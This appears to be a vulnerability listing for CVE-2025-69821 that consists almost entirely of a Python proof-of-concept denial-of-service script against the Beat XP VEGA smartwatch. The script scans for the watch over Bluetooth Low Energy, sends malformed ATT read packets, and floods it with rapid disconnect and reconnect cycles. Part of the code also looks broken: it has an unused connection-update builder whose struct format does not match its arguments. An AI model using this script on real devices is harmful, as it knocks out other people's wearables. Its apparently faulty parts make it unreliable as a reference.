CVE-2025-69821: Beat XP VEGA智能手表BLE拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-69821 PoC - Beat XP VEGA Smartwatch BLE DoS This PoC demonstrates the BLE DoS vulnerability in Beat XP VEGA Smartwatch. Author: Based on CVE-2025-69821 security assessment """ import asyncio from bleak import BleakClient, BleakScanner from bleak.exc import BleakError import struct import time TARGET_DEVICE_NAME = "VEGA" # or specific MAC address ATTRIBUTE_HANDLE = 0x0001 def create_malformed_packet(): """ Create a malformed BLE ATT packet to trigger the vulnerability. This packet contains invalid attribute handle and abnormal length fields. """ # ATT OpCode for Read Request opcode = 0x0A # Malformed handle - out of valid range handle = 0xFFFF # Invalid handle that may cause buffer issues # Construct malformed packet packet = bytes([opcode]) + struct.pack('<H', handle) return packet def create_connection_flood(): """ Create connection parameter manipulation packet. Causes rapid connection/disconnection to exhaust device resources. """ # LL_CONNECTION_UPDATE_REQ packet with extreme parameters # Window size: 0x01 (minimum) # Window offset: 0x0000 # Interval: 0x0006 (6 * 1.25ms = 7.5ms - too short) # Offset: 0x0000 # Latency: 0x00C8 (200 - excessive) # Timeout: 0x0001 (1 * 10ms = 10ms - too short) # Constant time: 0x55AA conn_update = struct.pack('<BBHHHBBH', 0x00, # LL opcode 0x01, # Window size 0x0000, # Window offset 0x0006, # Interval (too short) 0x0000, # Offset 0x00C8, # Latency 0x01, # Timeout (too short) 0x55AA # Constant time ) return conn_update async def scan_for_target(): """Scan for Beat XP VEGA Smartwatch device.""" print("[*] Scanning for BLE devices...") devices = await BleakScanner.discover(timeout=5.0) for device in devices: if device.name and TARGET_DEVICE_NAME.lower() in device.name.lower(): print(f"[+] Found target device: {device.name} ({device.address})") return device.address print("[-] Target device not found. Please ensure the watch is in range and BLE is enabled.") return None async def exploit_ble_dos(target_address): """ Execute the DoS attack against the target BLE device. Sends malformed packets to trigger the vulnerability. """ print(f"[*] Connecting to {target_address}...") try: async with BleakClient(target_address, timeout=10.0) as client: print(f"[+] Connected to device: {client.is_connected}") # Get services and characteristics services = await client.get_services() print(f"[*] Discovered {len(services.services)} services") # Attack 1: Send malformed ATT packets print("[*] Sending malformed ATT packets...") for i in range(10): try: malformed = create_malformed_packet() # Write to characteristic (may not exist) await client.write_gatt_char(ATTRIBUTE_HANDLE, malformed) except Exception as e: print(f"[*] Packet {i+1} sent (expected error: {type(e).__name__})") await asyncio.sleep(0.1) # Attack 2: Rapid reconnection flood print("[*] Performing rapid connection/disconnection flood...") for i in range(20): try: # Disconnect await client.disconnect() await asyncio.sleep(0.05) # Reconnect await client.connect() print(f"[*] Connection cycle {i+1}/20 completed") except BleakError as e: print(f"[!] Device may be unresponsive: {e}") break print("[+] Attack completed. Check device responsiveness.") except BleakError as e: print(f"[-] Connection failed: {e}") print("[*] This may indicate the device is already affected by the vulnerability.") async def main(): print("=" * 60) print("CVE-2025-69821 PoC - Beat XP VEGA Smartwatch BLE DoS") print("=" * 60) # Option 1: Scan for device target = await scan_for_target() if not target: # Option 2: Use direct MAC address print("\n[*] Enter device MAC address manually or press Enter to exit:") target = input("> ").strip() if not target: return await exploit_ble_dos(target) if __name__ == "__main__": # Requirements: pip install bleak asyncio.run(main())